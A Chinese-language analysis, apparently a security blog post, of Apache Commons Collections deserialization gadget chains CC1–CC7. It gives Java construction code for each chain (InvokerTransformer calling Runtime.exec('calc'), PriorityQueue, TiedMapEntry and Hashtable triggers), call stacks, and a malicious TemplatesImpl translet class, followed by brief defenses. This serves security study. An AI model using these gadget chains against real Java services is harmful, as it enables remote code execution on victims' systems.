CC链 1-7 分析
字数 788 2025-08-05 13:25:37

Apache Commons Collections 反序列化漏洞分析 (CC1-CC7)

一、核心组件分析

1.1 Transformer接口及其实现类

ConstantTransformer

public class ConstantTransformer implements Transformer, Serializable {
    private final Object iConstant;

    public Object transform(Object input) {
        return this.iConstant; // 总是返回构造函数传入的常量对象
    }
}

InvokerTransformer

public class InvokerTransformer implements Transformer, Serializable {
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;

    public Object transform(Object input) {
        // 反射调用指定方法
        Method method = input.getClass().getMethod(this.iMethodName, this.iParamTypes);
        return method.invoke(input, this.iArgs);
    }
}

InstantiateTransformer

public class InstantiateTransformer implements Transformer, Serializable {
    private final Class[] iParamTypes;
    private final Object[] iArgs;

    public Object transform(Object input) {
        // 反射调用构造函数实例化类
        Constructor con = ((Class)input).getConstructor(this.iParamTypes);
        return con.newInstance(this.iArgs);
    }
}

ChainedTransformer

public class ChainedTransformer implements Transformer, Serializable {
    private final Transformer[] iTransformers;

    public Object transform(Object object) {
        // 链式调用多个Transformer
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }
        return object;
    }
}

1.2 LazyMap

public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
    protected final Transformer factory;

    public Object get(Object key) {
        if (!super.map.containsKey(key)) {
            // 关键触发点
            Object value = this.factory.transform(key);
            super.map.put(key, value);
            return value;
        }
    }
}

1.3 TemplatesImpl

public final class TemplatesImpl implements Templates, Serializable {
    private byte[][] _bytecodes;
    
    public synchronized Transformer newTransformer() {
        return new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
    }
    
    private Translet getTransletInstance() {
        if (_class == null) defineTransletClasses();
        return (AbstractTranslet) _class[_transletIndex].newInstance();
    }
    
    private void defineTransletClasses() {
        // 动态加载字节码
        _class[i] = loader.defineClass(_bytecodes[i]);
    }
}

二、漏洞链分析

CC1 (Commons Collections 3.1-3.2.1, JDK<u71)

// 攻击链构造
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chain = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), chain);

// 通过AnnotationInvocationHandler触发
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);

调用栈:

-> AnnotationInvocationHandler.readObject()
  -> Proxy.entrySet().iterator()
    -> AnnotationInvocationHandler.invoke()
      -> LazyMap.get()
        -> ChainedTransformer.transform()
          -> 执行命令

CC2 (Commons Collections 4.0)

// 使用PriorityQueue触发
Transformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(transformer);

PriorityQueue queue = new PriorityQueue(2);
queue.add(1); queue.add(1);

// 反射设置queue和comparator
setFieldValue(queue, "queue", new Object[]{templates, templates});
setFieldValue(queue, "comparator", comparator);

调用栈:

-> PriorityQueue.readObject()
  -> heapify()
    -> siftDown()
      -> siftDownUsingComparator()
        -> TransformingComparator.compare()
          -> InvokerTransformer.transform()
            -> TemplatesImpl.newTransformer()
              -> 执行字节码

CC3 (Commons Collections 3.1-3.2.1, JDK<=7u21)

// 结合TemplatesImpl和TrAXFilter
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};

ChainedTransformer chain = new ChainedTransformer(transformers);
// 后续与CC1相同使用AnnotationInvocationHandler触发

调用栈:

-> AnnotationInvocationHandler.readObject()
  -> ... 
    -> ChainedTransformer.transform()
      -> InstantiateTransformer.transform()
        -> TrAXFilter构造函数
          -> TemplatesImpl.newTransformer()
            -> 执行字节码

CC4 (Commons Collections 4.0)

// 类似CC2但使用InstantiateTransformer替代InvokerTransformer
Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};

ChainedTransformer chain = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(chain);
// 后续与CC2相同使用PriorityQueue触发

CC5 (Commons Collections 3.1-3.2.1, JDK1.7/1.8)

// 使用TiedMapEntry和BadAttributeValueExpException触发
TiedMapEntry entry = new TiedMapEntry(lazyMap, "test");
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
setFieldValue(bad, "val", entry);

调用栈:

-> BadAttributeValueExpException.readObject()
  -> TiedMapEntry.toString()
    -> TiedMapEntry.getValue()
      -> LazyMap.get()
        -> ChainedTransformer.transform()
          -> 执行命令

CC6 (Commons Collections 3.1-3.2.1, JDK1.7/1.8)

// 使用TiedMapEntry和HashMap触发
TiedMapEntry entry = new TiedMapEntry(lazyMap, "test");
HashMap map = new HashMap();
map.put(entry, "value");

调用栈:

-> HashMap.readObject()
  -> hash()
    -> TiedMapEntry.hashCode()
      -> TiedMapEntry.getValue()
        -> LazyMap.get()
          -> ChainedTransformer.transform()
            -> 执行命令

CC7 (Commons Collections 3.1-3.2.1, JDK1.7/1.8)

// 使用Hashtable和两个LazyMap触发hash碰撞
Map lazyMap1 = LazyMap.decorate(new HashMap(), chain);
Map lazyMap2 = LazyMap.decorate(new HashMap(), chain);
lazyMap1.put("yy", 1);
lazyMap2.put("zZ", 1);

Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, "test");
hashtable.put(lazyMap2, "test");

调用栈:

-> Hashtable.readObject()
  -> reconstitutionPut()
    -> AbstractMap.equals()
      -> LazyMap.get()
        -> ChainedTransformer.transform()
          -> 执行命令

三、恶意字节码构造

public class EvilClass extends AbstractTranslet {
    public EvilClass() throws Exception {
        Runtime.getRuntime().exec("calc");
    }
    
    @Override public void transform(DOM document, SerializationHandler[] handlers) {}
    @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}

编译后Base64编码的字节码可用于TemplatesImpl攻击。

四、防御措施

  1. 升级Commons Collections到安全版本(3.2.2+或4.1+)
  2. 使用JDK自带的安全管理器
  3. 对反序列化操作进行严格限制
  4. 使用白名单机制控制可反序列化的类

五、总结

CC链的核心是利用反序列化过程触发Transformer的transform方法,通过精心构造的调用链最终执行任意代码。不同CC链的区别主要在于触发方式和使用的Transformer组合。理解这些漏洞链有助于更好地防御Java反序列化漏洞。

Apache Commons Collections 反序列化漏洞分析 (CC1-CC7) 一、核心组件分析 1.1 Transformer接口及其实现类 ConstantTransformer InvokerTransformer InstantiateTransformer ChainedTransformer 1.2 LazyMap 1.3 TemplatesImpl 二、漏洞链分析 CC1 (Commons Collections 3.1-3.2.1, JDK <u71) 调用栈: CC2 (Commons Collections 4.0) 调用栈: CC3 (Commons Collections 3.1-3.2.1, JDK <=7u21) 调用栈: CC4 (Commons Collections 4.0) CC5 (Commons Collections 3.1-3.2.1, JDK1.7/1.8) 调用栈: CC6 (Commons Collections 3.1-3.2.1, JDK1.7/1.8) 调用栈: CC7 (Commons Collections 3.1-3.2.1, JDK1.7/1.8) 调用栈: 三、恶意字节码构造 编译后Base64编码的字节码可用于TemplatesImpl攻击。 四、防御措施 升级Commons Collections到安全版本(3.2.2+或4.1+) 使用JDK自带的安全管理器 对反序列化操作进行严格限制 使用白名单机制控制可反序列化的类 五、总结 CC链的核心是利用反序列化过程触发Transformer的transform方法,通过精心构造的调用链最终执行任意代码。不同CC链的区别主要在于触发方式和使用的Transformer组合。理解这些漏洞链有助于更好地防御Java反序列化漏洞。